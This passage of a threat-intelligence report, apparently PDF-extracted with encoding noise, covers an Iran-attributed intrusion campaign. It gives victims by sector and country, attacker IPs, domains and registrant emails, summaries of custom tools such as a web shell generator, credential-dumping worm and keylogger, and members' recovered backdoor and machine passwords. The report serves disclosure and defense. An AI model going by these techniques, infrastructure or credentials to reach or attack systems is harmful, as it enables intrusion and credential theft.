Iran\xe2\x80\x99s motivations appear to have shifted. Retaliation for Stuxnet began almost immediately in 2011 with campaigns like the certificate compromises of Comodo and DigiNotar. These attacks served as a warning, showcasing the rapid evolution of Iran\xe2\x80\x99s hacking skills. A major retaliation came in the form of 2012\xe2\x80\x99s Shamoon campaign, which impacted RasGas and Saudi Aramco. It\xe2\x80\x99s estimated that Shamoon impacted over 30,000 computer endpoints and cost the affected companies tens-of-thousands of hours recovering from the attacks. The direct financial impact from this retaliation and amount of downtime experienced were staggering. Shamoon was truly a watershed event for security defenders. It was the first glimpse into the real capabillity and intention of Iranian cyber operations. We see the same motivation and intent here in Operation Cleaver: establishing a beachhead for cyber sabotage. We saw further Iranian backlash in late 2012 and early 2013 in the form of Operation Ababil\xe2\x80\x99s Distributed Denial of Service (DDoS) attacks against US banks. These attacks were debilitating and impacted the availability of online banking services. Yet more backlash was witnessed with FireEye\xe2\x80\x99s exposure of Operation Saffron Rose, an espionage campaign executed by the Ajax Security Team in 2014. In May 2014, evidence emerged of a highly targeted waterhole attack that leveraged social media, dubbed Operation Newscaster, which was uncovered by iSight Partners. In June 2013, Israeli Prime Minister Benjamin Netanyahu accused Iran of carrying out \xe2\x80\x9cnon-stop\xe2\x80\x9d attacks on \xe2\x80\x9c[Israel\xe2\x80\x99s] vital national systems\xe2\x80\x9d including \xe2\x80\x9cwater, power and banking\xe2\x80\x9d4. The following September of 2013, the Wall Street Journal accused Iran of hacking into unclassified U.S. Navy computers in San Diego\xe2\x80\x99s NMCI (Navy Marine Corp Intranet),5 which we can confirm was part of Operation Cleaver. #OPCLEAVER 7 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Figure 1: The sequence of major Iran-centric attacks; either as victims (left) or attackers (right). While previously reported operations attributed to Iran have largely focused on Defense Industrial Base (DIB) companies, the United States Federal Government, or targets in Middle Eastern countries, Operation Cleaver has instead focused on a wide array of targets, including energy producers and utilities, commercial airlines and airports, military intelligence, aerospace, hospitals, and even universities \xe2\x80\x93 with only ten of the targets based in the United States. Such broad targeting demonstrates to the world that Iran is no longer content to retaliate against the US and Israel alone. They have bigger intentions: to position themselves to impact critical infrastructure globally. S H A M N duqu~ Ababil OPERATION NEWSCASTER Saffr n Rose FL ME 2010 DigiNotar S t U X N E t 2011 2012 2013 NMCI NAVY MARINE CORPS INTRANET MMCMMM IM IN CCNMCINMCMMCIIICCCMMM 2014 ORIGINATION RETALIATION GAUSS 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 OPERATION CLEAVER 8 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 WHY THE NAME CLEAVER? The string cleaver is found several times in a variety of custom software used in Operation Cleaver, including: Numerous references inside the namespaces of their custom bot code codenamed TinyZBot, e.g.: e:\\projects\\cleaver\\trunk\\zhoupin_cleaver\\obj\\x86\\release\\netscp.pdb PDBs associated with the hacker name \xe2\x80\x9cJimbp\xe2\x80\x9d, e.g.: sers\\jimbp\\desktop\\binder_1 - for cleaver\\binder_1\\obj\\x86\\release\\setup.pdb PDBs associated with the keystroke loggers, artifacts, and numerous other tools, e.g.: e:\\Projects\\Cleaver\\trunk\\MainModule\\obj\\Release\\MainModule.pdb WHY EXPOSE IRAN NOW? We believe our visibility into this campaign represents only a fraction of Operation Cleaver\xe2\x80\x99s full scope. We believe that if the operation is left to continue unabated, it is only a matter of time before the world\xe2\x80\x99s physical safety is impacted by it. While the disclosure of this information will be a detriment to our ability to track the activity of this group, it will allow the security industry as a whole to defend against this threat. As such, we are exposing this cyber campaign early in an attempt to minimize additional real-world impact and prevent further victimization. 1 2 3 #OPCLEAVER CRITICAL DISCOVERIES 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 OPERATION CLEAVER 10 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 CRITICAL DISCOVERIES Iranian Actors Are Behind Operation Cleaver \xe2\x80\xa2 Persian hacker names are used throughout the campaign including: Salman Ghazikhani, Bahman Mohebbi, Kaj, Parviz, Alireza, and numerous others. \xe2\x80\xa2 Numerous domains used in the campaign were registered in Iran. \xe2\x80\xa2 Infrastructure leveraged in the attack was registered in Iran to the corporate entity Tarh Andishan, which translates to \xe2\x80\x9cinvention\xe2\x80\x9d or \xe2\x80\x9cinnovation\xe2\x80\x9d in Farsi. \xe2\x80\xa2 Source netblocks and ASNs are registered to Iran. \xe2\x80\xa2 Hacker tools warn when their external IP address traces back to Iran. \xe2\x80\xa2 The infrastructure is hosted through Netafraz.com, an Iranian provider out of Isfahan, Iran. \xe2\x80\xa2 The infrastructure utilized in the campaign is too significant to be a lone individual or a small group. We believe this work was sponsored by Iran. Operation Cleaver Targets Critical Infrastructure Around the World \xe2\x80\xa2 US Military targets including NMCI in October 2013.5 Confirmed targeting of global government entities. \xe2\x80\xa2 Networks and systems targeted in critical industries like energy and utilities, oil and gas, and chemical companies. \xe2\x80\xa2 Assets (both cyber and physical) and logistics information were compromised at major airline operators, airports, and transportation companies. \xe2\x80\xa2 Various global telecommunications, technology, healthcare, aerospace, and defense companies were breached as part of the operation. \xe2\x80\xa2 Confidential critical infrastructure documents were harvested from major educational institutions around the world. Iran\xe2\x80\x99s Cyber Hacking Skills Have Evolved \xe2\x80\xa2 Initial compromise techniques include SQL injection, web attacks, and creative deception- based attacks \xe2\x80\x93 all of which have been implemented in the past by Chinese and Russian hacking teams. \xe2\x80\xa2 Pivoting and exploitation techniques leveraged existing public exploits for MS08-067 and Windows privilege escalations, and were coupled with automated, worm-like propagation mechanisms. \xe2\x80\xa2 Customized private tools with functions that include ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging. \xe2\x80\xa2 The ability to build customized tools to compromise any target they choose. #OPCLEAVER 11 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Indicators of Compromise (IOC) \xe2\x80\xa2 Private signing certificates of one victim were captured allowing the Operation Cleaver team to compromise the entirety of their organization. \xe2\x80\xa2 Over the past two years, Cylance has collected over 8GB of data including over 80,000 files of exfiltrated data, hacker tools, victim logs, and highly sensitive reconnaissance data. \xe2\x80\xa2 Data from sinkholed command and control servers has allowed us to track this active campaign. \xe2\x80\xa2 Cylance is releasing more than 150 IOCs and samples associated with the Cleaver campaign to empower the security community to detect existing compromises in their own organizations, as well as potentially block future attacks from these teams. Speculation \xe2\x80\xa2 This campaign continues Iran\xe2\x80\x99s retaliation for Stuxnet, Duqu, and Flame. \xe2\x80\xa2 This is a state-sponsored campaign. \xe2\x80\xa2 There is a possibility that this campaign could affect airline passenger safety. \xe2\x80\xa2 This campaign\xe2\x80\x99s intentions may be to damage Industrial Control Systems (ICS), Supervisory Control and Data Acquisition (SCADA) systems, and impact Critical Infrastructure and Key Resources (CIKR). \xe2\x80\xa2 This campaign could be a way to demonstrate Iran\xe2\x80\x99s cyber capabilities for additional geopolitical leverage, due to the breadth and depth of their global targets. \xe2\x80\xa2 There is an intense focus on CIKR companies in South Korea, which could give Iran additional clout in their burgeoning partnership with North Korea. In September 2012, Iran signed an extensive agreement for technology cooperation agreement with North Korea, which would allow for collaboration on various efforts including IT and security.6 \xe2\x80\xa2 Iran is recruiting from within the universities and potentially using \xe2\x80\x98hackers for hire\xe2\x80\x99.7 #OPCLEAVER TARGETS & VICTIMS 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 #OPCLEAVER 13 TARGETS & VICTIMS The Cleaver team targets some of the most sensitive global critical infrastructure companies in the world, including military, oil and gas, airlines, airports, energy producers, utilities, transportation, healthcare, telecommunications, technology, manufacturing, education, aerospace, Defense Industrial Base (DIB), chemical companies and governments. Countries impacted include Canada, China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, United Arab Emirates, and the US. The following is a breakdown by country of which industries were targeted and/or victimized: Canada - Energy & Utilities - Oil & Gas - Hospitals China - Aerospace England - Education France - Oil & Gas Germany - Telecommunications India - Education Israel - Aerospace - Education Kuwait - Oil & Gas - Telecommunications Mexico - Oil & Gas Pakistan - Airports - Hospitals - Technology - Airlines Qatar - Oil & Gas - Government - Airlines Saudi Arabia - Oil & Gas - Airports South Korea - Airports - Airlines - Education - Technology - Heavy Manufacturing Turkey - Oil & Gas United Arab Emirates - Government - Airlines United States - Airlines - Education - Chemicals - Transportation - Energy & Utilities - Military/Government - Defense Industrial Base OPERATION CLEAVER 14 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Cleaver\xe2\x80\x99s level of access into each organization varied greatly, including completely compromised systems and networks, Active Directory domain controllers and credentials, compromised data repositories and stolen VPN credentials. Compromised systems include Microsoft Windows web servers running IIS and ColdFusion, Apache with PHP, many variants of Microsoft Windows desktops and servers, and Linux servers. Compromised network infrastructure included Cisco VPNs as well as Cisco switches and routers. Unlike Stuxnet, no exotic exploitations (such as 0-days) were observed. Within our investigation, we had no direct evidence of a successful compromise of specific Industrial Control Systems (ICS) or Supervisory Control and Data Acquisition (SCADA) networks, but Cleaver did exfiltrate extremely sensitive data from many critical infrastructure companies allowing them to directly affect the systems they run. This data could enable them, or affiliated organizations, to target and potentially sabotage ICS and SCADA environments with ease. We discovered over 50 victims in our investigation, distributed around the globe. Ten of these victims are headquartered in the US and include a major airline, a medical university, an energy company specializing in natural gas production, an automobile manufacturer, a large defense contractor, and a major military installation. The four targets in Israel and the five targets in Pakistan are comprised of education, aerospace, airports, airlines, healthcare and technology. Further victims were identified in numerous Middle Eastern countries as well as ones in Northern Europe including the UK, France, and Germany. Central America was not immune either with a large oil and gas company on the list. In fact, oil and gas was a particular focal point for the Cleaver team, going after no less than nine of these companies around the world. Universities were targeted in the US, India, Israel, and South Korea. The attackers targeted research efforts, student information, student housing, and financial aid systems. They had a penchant for pictures, passports, and any specifc identifying information. Perhaps the most bone-chilling evidence we collected in this campaign was the targeting and compromise of transportation networks and systems such as airlines and airports in South Korea, Saudi Arabia and Pakistan. The level of access seemed ubiquitous: Active Directory domains were fully compromised, along with entire Cisco Edge switches, routers, and internal networking infrastructure. Fully compromised VPN credentials meant their entire remote access infrastructure and supply chain was under the control of the Cleaver team, allowing permanent persistence under compromised credentials. They achieved complete access to airport gates and their security control systems, potentially allowing them to spoof gate credentials. They gained access to PayPal and Go Daddy credentials allowing them to make fraudulent purchases and allowed unfettered access to the victim\xe2\x80\x99s domains. We were witnessed a shocking amount of access into the deepest parts of these companies and the airports in which they operate. #OPCLEAVER 15 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Figure 2: Geographic distribution of victims, as determined by the global headquarters of the parent company or organization breached. TARGET LOCATIONS COUNTRIES TARGETED 1. Canada - Calgary 2. Canada - Hamilton 3. China - Beijing 4. England - Oxford 5. France - Paris 6. Germany - Dusseldorf 7. Germany - Frankfurt 8. India - New Delhi (2) 9. Israel - Haifa (3) 10. Israel - Rehovot 11. Kuwait - Ahmadi 12. Kuwait - Kuwait City 25. UAE - Abu Dhabi 26. UAE - Al Garhoud 27. USA - California - Los Angeles (2) 28. USA - California - San Diego 29. USA - California - San Jose 30. USA - Michigan - Dearborn 31. USA - Texas - Houston (2) 32. USA - Texas - Fort Worth 33. USA - Texas - Southlake 34. USA - Virginia - Fairfax 35. USA - Virginia - McLean 13. Mexico - Mexico City 14. Pakistan - Karachi (2) 15. Pakistan - Lahore 16. Pakistan - Multan 17. Pakistan - Peshawar 18. Qatar - Doha (4) 19. Saudi Arabia - Dhahran 20. Saudi Arabia - Jeddah 21. South Korea - Incheon 22. South Korea - Goyang-si 23. South Korea - Seoul (7) 24. Turkey - Antalya 1 2 A 13 A A A A 4 6 7 5 B B B B B B B 3 B 23 21 29 28 27 31 31 33 3227 35 30 26 25 18 12 20 1110 9 17 16 8 14 15 8 19 24 A B 22 34 OPERATION CLEAVER 16 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Figure 3: Number of Cleaver victims by the level of access obtained as well as the level of critical impact potential. LE V EL O F A C C ES S LEVEL OF CRITICAL IMPACT HIGH MEDIUM LOW TE CH NO LO GY AE RO SP AC E ED UC AT IO N CH EM ICA LS HO SP ITA LS TE LE CO MM UN ICA TIO NS TR AN SP OR TA TIO N G OV ER NM EN T OI L & G AS AIR LIN ES AIR PO RT S EN ER GY & U TIL ITI ES MA NU FA CT UR ING DE FE NS E I ND US TR IA L INDUSTRIES TARGETED #OPCLEAVER ATTRIBUTION 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 OPERATION CLEAVER 18 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 ATTRIBUTION Despite today\xe2\x80\x99s trend toward attacker attribution, we believe it offers little real benefit to the day-to-day cyber defender. However, in this report we offer our observations on the sources of Operation Cleaver in order to benefit those that rely on attribution such as Law Enforcement. Operation Cleaver is believed to consist of at least 20 hackers and developers, collaborating on projects and missions to support Iranian interests. Many of the targets were predominately English-speaking and a majority of the team members were capable of reading and writing in English. We present evidence that this team is operating, at least in part, out of Iran and in the interests of Iran. The skills and behavior of the Operation Cleaver teams are consistent with, and in one case surpasses, Iran\xe2\x80\x99s cyber capabilities as we know them today. For a complete list of IPs and domains related to this campaign, please refer to the Indicators of Compromise section. ATTACKER IP ADDRESSES Over the course of multiple incident response engagements related to Operation Cleaver, we were able to identify a small set of IP addresses which were commonly used during the initial stages of an attack. The IP address 78.109.194.114 served as a source for one of the primary attackers. They were observed conducting SQL injections, controlling backdoors, as well as exfiltrating information using this address, and the address appears in multiple software configurations recovered from staging servers over a period of time. GeoIP Location: Iran Net block: 78.109.194.96 - 78.109.194.127 Owner: Tarh Andishan Email: tarh.andishan(at)yahoo.com Phone: +98-21-22496658 NIC-Handle: TAR1973-RIPE Figure 4: The logo of the Army of the Guardians of the Islamic Revolution, also known as the Islamic Revolutionary Guard Corps (IRGC). #OPCLEAVER 19 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 This IP address was also observed in multiple software configurations. This particular net block was used over an extended period of time, indicating these were under the Cleaver team\xe2\x80\x99s physical control. Additionally, prior netblocks used by the same team demonstrated to us that this wasn\xe2\x80\x99t simply a case of proxying or \xe2\x80\x9cisland hopping\xe2\x80\x9d. For more information see the Tarh Andishan section of this report. The IP address 159.253.144.209 was a source for a secondary attacker in various compromises. They were observed conducting SQL injection attacks. While this IP was this registered in the Netherlands, we believe they used Softlayer\xe2\x80\x99s Citrix demo environment to launch these attacks which is consistent with proxying or \xe2\x80\x9cisland hopping\xe2\x80\x9d. GeoIP Location: Netherlands Net block: 159.253.144.208 - 159.253.144.223 ASN: Softlayer Technologies, Inc. IP Location: Netherlands, Amsterdam with Iranian sourcing. ATTACKER DOMAINS A number of Cleaver\xe2\x80\x99s attack methods require a persistent server. In many cases, these servers were referenced by domain names. The following malicious domains are operated by this organization and are grouped by the registrant\xe2\x80\x99s email address. davejsmith200(at)outlook.com \xe2\x80\xa2 Teledyne-Jobs.com \xe2\x80\xa2 DownloadsServers.com \xe2\x80\xa2 NorthropGrumman.net \xe2\x80\xa2 MicrosoftMiddleAst.com salman.ghazikhani(at)outlook.com \xe2\x80\xa2 Doosan-Job.com btr.8624(at)yahoo.com \xe2\x80\xa2 GoogleProductUpdate.net \xe2\x80\xa2 WindowsCentralUpdate.com \xe2\x80\xa2 WindowsUpdateServer.com \xe2\x80\xa2 DriverCenterUpdate.com As is typical with malicious domains, the Whois data for most of these domains contained falsified information. We managed to obtain a large collection of the internally developed tools used by the Cleaver team, many of which were developed by its members. Due to operational security failures, these tools contain information that provided us insight into their organization and operations. azlinux73(at)gmail.com \xe2\x80\xa2 MicrosoftServerUpdate.com \xe2\x80\xa2 WindowsSecurityUpdate.com \xe2\x80\xa2 WindowsServerUpdate.com domain(at)netafraz.com \xe2\x80\xa2 EasyResumeCreatorPro.com \xe2\x80\xa2 MicrosoftWindowsResources.com msnhst(at)microsoft.com \xe2\x80\xa2 MicrosoftWindowsUpdate.net OPERATION CLEAVER 20 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 TOOLS & SOFTWARE Shell Creator 2 In the tool named Shell Creator 2, there are three main components. The creator generates an ASPX web shell using user input as well as a collection of templates. The web shell could then be installed via xp_cmdshell, or any other method which would grant the attacker write access. The web shell is accessible by the shell client directly. The shell client is a portion of Shell Creator 2 that was not designed to be run on a compromised computer. We originally located it on a staging server being utilized for multiple attacks as well as a tool for sharing data between members of the organization\xe2\x80\x99s team. The shell client, which is developed in Java and is easily decompiled, is a simple interface with a feature to protect the operator from making a critical mistake. When executed, and before any connection to an instance of the web shell is initiated, the shell client communicates with freegeoip.net in order to get the external IP address of the current user. The country of origin is then shown to the user, to inform them of what country it appears they are connecting from. The assumed purpose of this feature is to ensure that a proper proxy is in use, and the real origin of the attacker is not revealed. After decompiling the shell client, we found the following code segment controlling the display of this IP location information. This code handles the XML response from freegeoip.net, and displays the information as different colors based on different attributes. For instance, if the string \xe2\x80\x9cERROR\xe2\x80\x9d is in the response, the text is displayed with the color magenta. If the string IRAN is in the response, the text is displayed with the color red. It should be noted that no other country name contains the substring IRAN. Figure 5: Java source code showing how Shell Creator 2 distinguishes between a source IP address coming from Iran (red) versus any other country (green). #OPCLEAVER 21 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Shell Creator 2 (cont.) Net Crawler Net Crawler is a tool developed in C# that exhibits worm-like behavior in order to gather cached credentials from any and all accessible computers on an infected network. This is done with Windows Credential Editor (WCE) and Mimikatz in combination with PsExec. Different versions of this malware contain ASCII art which names the authoring group as Zhoupin (in \xe2\x80\x9cleetspeak\xe2\x80\x9d as \xe2\x80\x9cZh0up!n\xe2\x80\x9d). For more information on Net Crawler, see the Tactics, Techniques and Procedures section. Figure 6: Shell Creator 2 alerts the user in red when the IP being used can be sourced to Iran. Figure 7: Shell Creator 2 notifies the user in green when their source IP address is not Iran. Figure 8: Net Crawler version 1.0 has ASCII art showing the use of \xe2\x80\x9cZh0up!n\xe2\x80\x9d in the campaigns tools. Figure 9: Updated ASCII art found in Net Crawler tool shows a version of \xe2\x80\x9cZh0up!n\xe2\x80\x9d shortened to simply \xe2\x80\x9cZh0\xe2\x80\x9d. OPERATION CLEAVER 22 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 TinyZBot TinyZBot is a bot written in C# and developed by the Cleaver team. It is the longest developed malware family discovered by this group, and has been used in campaigns for close to two years. How it operates can vary greatly from version to version. For a detailed technical analysis of TinyZBot, see the Tactics, Techniques and Procedures section. As TinyZBot is developed in C#, many versions can be decompiled to code very similar to their originals, including names of namespaces. Many versions were obfuscated with a legitimate tool for developers named SmartAssembly, which makes the recovery of some names implausible. We obtained multiple versions from which we were able to recover many of the original names of variables and namespaces. In a number of these samples, the primary namespace for TinyZBot is named Zhoupin_Cleaver. In every version of TinyZBot that is not obfuscated, there is a code base referred to as Cleaver. This code base is also shared in other malware developed by this organization, such as Csext. PrivEsc PrivEsc is a blatant plagiarism of an existing exploit for Microsoft Windows released in January 2010 called MS10-015, \xe2\x80\x9cVulnerabilities in Windows Kernel Could Allow Escalation of Privilege\xe2\x80\x9d, popularly known as the KiTrap0D exploit which was released publicly. The Cleaver team clearly modified the source code and compiled a new version. The only detectable modification was to change the original author\xe2\x80\x99s name to instead display the following: Zhopin Exploit Team This is not the only case of this team relabeling others\xe2\x80\x99 work as their own. Logger Module Logger module is a component of the PVZ (PVZ is shorthand for Parviz, one of the members of the Cleaver team) bot tool chain. When executed, it will capture the user\xe2\x80\x99s keystrokes and save them to a location which PVZ bot then exfiltrates. The logger module binary\xe2\x80\x99s file description value is the following: ye file khube DG. ba in ham kari nadashte bashin Roughly translated from Persian, this text says: DG is a good file, don\xe2\x80\x99t bother with this #OPCLEAVER 23 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Logger Module (cont.) This text could potentially be a note intended to stay internal, or could be an attempt to persuade an unsuspecting victim to assume the file is not malicious. The Product Name value is GOOD FILE. For more information on the PVZ bot tool chain, see the Tactics, Techniques, and Procedures section. CCProxy CCProxy is a publicly available proxy server for Windows, which can handle a variety of protocols. We do not believe that this organization was involved in the development or modification of CCProxy, but they have been observed using it. We recovered a CCProxy configuration, which exposed various operational details. The configuration allowed for remote connections, limited by a username as well as a limited IP range. The username was User-001, which is the default value. The limited IP range covered one IP: 78.109.194.114. This IP address is located in Iran, and is owned by Tarh Andishan. The configuration also indicates which address the CCProxy server should listen on for incoming connections such as web (80) and mail (25). Figure 10 (above): CCProxy configuration file using the hardcoded IP address registered to Tarh Andishan. Figure 11 (left): CCProxy configuration file showing the use of web and mail as listening ports. OPERATION CLEAVER 24 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 NMAP Log Log output from the network port scanning application NMAP was recovered from a staging server. This log was generated during the usage of the nbrute utility, which brute-forces network credentials and relies on NMAP to do so. The header of this NMAP log indicates that the computer used to run nbrute/nmap was set to Iran Daylight Time at the time of execution. Starting Nmap 6.25 at 2012-08-17 09:18 Iran Daylight Time With no known victims located in Iran, it is likely that this was executed on an attacker\xe2\x80\x99s computer, and not on a victim\xe2\x80\x99s computer. Squid Configuration A configuration file for a Squid proxy server was recovered. The net range of 78.109.194.114/28 was inserted into the allowed local networks with an RFC comment appended in order to make it look like it was part of the default configuration. It is likely this is the same reason a /28 net range was used, in order to not look like it was intended to only allow one IP. This would give the same access to resources accessible from the Squid proxy server to this Iranian IP address. TARH ANDISHAN Tarh Andishan is listed as the registrant for a number of small net blocks based upon the email address tarh.andishan(at)yahoo.com. The net blocks appear to rotate over time and registrant information is altered to accommodate ongoing operations and avoid potential public exposure. Figure 12: Squid configuration file showing the use of Tarh Andishan\xe2\x80\x99s IP address. #OPCLEAVER 25 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 TARH ANDISHAN (cont.) The networks are included below as well as the last time that net block was observed as active. \xe2\x80\xa2 78.109.194.96/27 - Current \xe2\x80\xa2 217.11.17.96/28 - 10/22/2014 \xe2\x80\xa2 81.90.144.104/29 - 10/5/2014 \xe2\x80\xa2 31.47.35.0/24 \xe2\x80\x93 11/2012 There are many seemingly legitimate Tarh Andishan related companies inside Tehran, but strong connections to Iranian backing have been difficult to prove definitively. \xe2\x80\x9cTarh Andishan\xe2\x80\x9d is often translated as \xe2\x80\x9cThinkers\xe2\x80\x9d, \xe2\x80\x9cInnovators\xe2\x80\x9d and \xe2\x80\x9cInventors\xe2\x80\x9d. The net blocks above have strong associations with state-owned oil and gas companies. These companies have current and former employees who are ICS experts. Tarh Andishan has been suspected in the past of launching attacks in the interest of Iran. The operators of the blog IranRedLine.org, which comments on Iran\xe2\x80\x99s nuclear weapons efforts, has mentioned in multiple posts having been the target of debilitating brute-force authentication attacks from IP addresses registered to the same Tarh Andishan team found in Cleaver. In one of IranRedLine.org\xe2\x80\x99s blog posts8, the author speculates on Tarh Andishan\xe2\x80\x99s involvement with the Iranian government by showing close proximity to SPND, the Organization of Defensive Innovation and Research; however, the phone number listed under the registrant contact information has yet to be completely validated. Figure 13: This image from IranRedLine.org demonstrates Tarh Andishan\xe2\x80\x99s probably fabricated Whois address to the proximity to Iran\xe2\x80\x99s SPND (Organization of Defensive Innovation and Research). OPERATION CLEAVER 26 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 MEMBERS During this investigation, we were able to compile a considerable amount of information on some of the members of this organization. The following profiles were built from reverse engineering, code analysis, open source intelligence, incident response and forensics work. Personally identifiable information about these members is not being shared publicly as it could endanger their lives and would be irresponsible. Parviz Parviz is a developer who worked on a variety of projects, and was primarily active in 2013. His development skillset is based around his ability to develop in C/C++. He has been observed using Visual Studio 2010, and his tools are written exclusively for Windows. Some of his tools were found to be packed with ASPack. Parviz is the primary developer of the PVZ bot and multiple parts of its tool chain. Parviz is likely associated with the PVZ bot as his name in hardcoded into the PDB file paths. The PVZ tool chain includes a variety of functionality, such as HTTP command and control communications with an ASPX server-side component, a denial of service tool they developed, and the public project named XYNTService used to run ordinary applications as services. PDBs \xe2\x80\xa2 C:\\Users\\parviz\\documents\\visual studio 2010\\Projects\\BotManager\\ Release\\BotManager.pdb \xe2\x80\xa2 C:\\Users\\parviz\\Documents\\Visual Studio 2010\\Projects\\socket-test\\ Release\\socket-test.pdb \xe2\x80\xa2 C:\\Users\\parviz\\Documents\\Visual Studio 2010\\Projects\\ XYNTServiceProject\\XYNTServiceProject\\Debug\\XYNTService.pdb \xe2\x80\xa2 C:\\Users\\Parviz\\documents\\visual studio 2010\\Projects\\SendModule\\ Release\\SendModule.pdb #OPCLEAVER 27 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Nesha Nesha is one of the offensive members of this organization. Nesha was seen in breaches involving SQL injection as well as other techniques. Nesha often utilized web-based backdoors developed in ASPX, PHP as well as ColdFusion. A copy of an MS08-067 exploit developed in Python was recovered in which Nesha shamelessly replaced the original author\xe2\x80\x99s name with his own. Nesha\xe2\x80\x99s passwords very commonly include own handle. His passwords were frequently stored as hashes in backdoors, but common hash cracking methods were able to recover the plaintext versions. His observed password use is as follows: \xe2\x80\xa2 nesha nesha used as password in ColdFusion backdoors \xe2\x80\xa2 NeshaNesha12 used as password in ASPX backdoors. \xe2\x80\xa2 nesha123 was found as a password in a recovered credential file with unknown association Cylance observed Nesha participating in compromises involving the following techniques: \xe2\x80\xa2 SQL injection \xe2\x80\xa2 Web backdoors \xe2\x80\xa2 Cached credential dumping Nesha has additionally been identified using a variety of internally developed tools as well as the following publicly available tools: \xe2\x80\xa2 Cain & Abel \xe2\x80\xa2 PsExec \xe2\x80\xa2 PLink \xe2\x80\xa2 NetCat Alireza Alireza appears to be one of the senior developers of this organization. His tools are commonly developed in C++, Java, and C# (desktop and ASPX). These tools are often support tools, either monitoring the activity of other tools or supplementing the function of other tools gathering information during the infiltration process. Alireza\xe2\x80\x99s code appears to be reused internally on projects such as TinyZBot. Alireza appears to be using a version control system for his code, and it is likely that others are using the same system. Based on the paths, the version control system in use is likely Apache\xe2\x80\x99s Subversion. Use of a version control system is indicative of code sharing, but the use of an older system like Subversion, along with other evidence, suggests there is not a large amount of collaboration on projects and likely one developer working on each project at a time. This is not behavior typical of a professional development team. OPERATION CLEAVER 28 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Alireza (cont.) Alireza\xe2\x80\x99s C# tools include the following techniques: \xe2\x80\xa2 Querying Windows Management Instrumentation Command-line (WMIC) \xe2\x80\xa2 Cached credential dumping \xe2\x80\xa2 Generating ASPX shells \xe2\x80\xa2 Encryption \xe2\x80\xa2 Process enumeration Alireza\xe2\x80\x99s Java tools include the following techniques: \xe2\x80\xa2 HTTP communications \xe2\x80\xa2 GUI development Alireza\xe2\x80\x99s C++ tools include the following techniques: \xe2\x80\xa2 WinPcap interface \xe2\x80\xa2 ARP poisoning \xe2\x80\xa2 HTTP communications \xe2\x80\xa2 SMB communications PDBs \xe2\x80\xa2 C:\\Users\\alireza\\Documents\\Visual Studio 2010\\CPPProjects\\IDCSercive\\ trunk\\Release\\kagent.pdb \xe2\x80\xa2 C:\\Users\\alireza\\Documents\\Visual Studio 2010\\CPPProjects\\ PcapServiceInstaller\\Release\\PcapServiceInstaller.pdb \xe2\x80\xa2 C:\\Users\\alireza\\Documents\\Visual Studio 2010\\Projects\\ AntiVirusDetectorConsole\\AntiVirusDetectorConsole\\obj\\x86\\Release\\ AntiVirusDetectorConsole.pdb \xe2\x80\xa2 C:\\Users\\alireza\\Documents\\Visual Studio 2010\\Projects\\ mimikatzWrapper\\mimikatzWrapper\\obj\\x86\\Debug\\mimikatzWrapper.pdb \xe2\x80\xa2 C:\\Users\\alireza\\Documents\\Visual Studio 2010\\Projects\\ShellCreator2\\ ShellCreator2\\obj\\x86\\Debug\\ShellCreator2.pdb \xe2\x80\xa2 c:\\Users\\alireza\\Documents\\Visual Studio 2012\\Projects\\BackDoorLogger\\ BackDoorLogger\\obj\\Debug\\BackDoorLogger.pdb #OPCLEAVER 29 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 kaJ kaJ is a .NET developer, and has only been observed working in C#. He has less English language proficiency than others in the organization, and likely has a supplemental role during compromises. He has been observed developing tools which cater to specific challenges in a compromise. His notable project was named Net Crawler, and a technical analysis of this tool can be found in the Tactics, Techniques and Procedures section. Thanks to a recovered test configuration for Net Crawler, we were able to determine that kaJ\xe2\x80\x99s development computer has the name dev-castle, where he has the username kaJ and the password oaolrJ@vad. kaJ is believed to be the creator of the Zhoupin ASCII art displayed in Net Crawler. kaJ\xe2\x80\x99s projects include the following techniques. \xe2\x80\xa2 Interfacing with multiple cached credential dumping tools \xe2\x80\xa2 Interfacing with PsExec \xe2\x80\xa2 Worming behavior Jimbp Jimbp is a .NET developer with minimal experience. His projects appear to be supplemental to TinyZBot and are very simplistic. It is believed he is the developer of the project Binder_1. This project was a simple malware binder which required manual configuration when compiling. His other work included creating a new service wrapper for TinyZBot. PDBs \xe2\x80\xa2 c:\\Users\\Jimbp\\Desktop\\Binder_1\\Binder_1\\obj\\x86\\Release\\Setup.pdb \xe2\x80\xa2 c:\\Users\\Jimbp\\Desktop\\Binder_1 - for cleaver\\Binder_1\\obj\\x86\\ Release\\Setup.pdb \xe2\x80\xa2 c:\\Users\\Jimbp\\Documents\\Visual Studio 2013\\Projects\\ 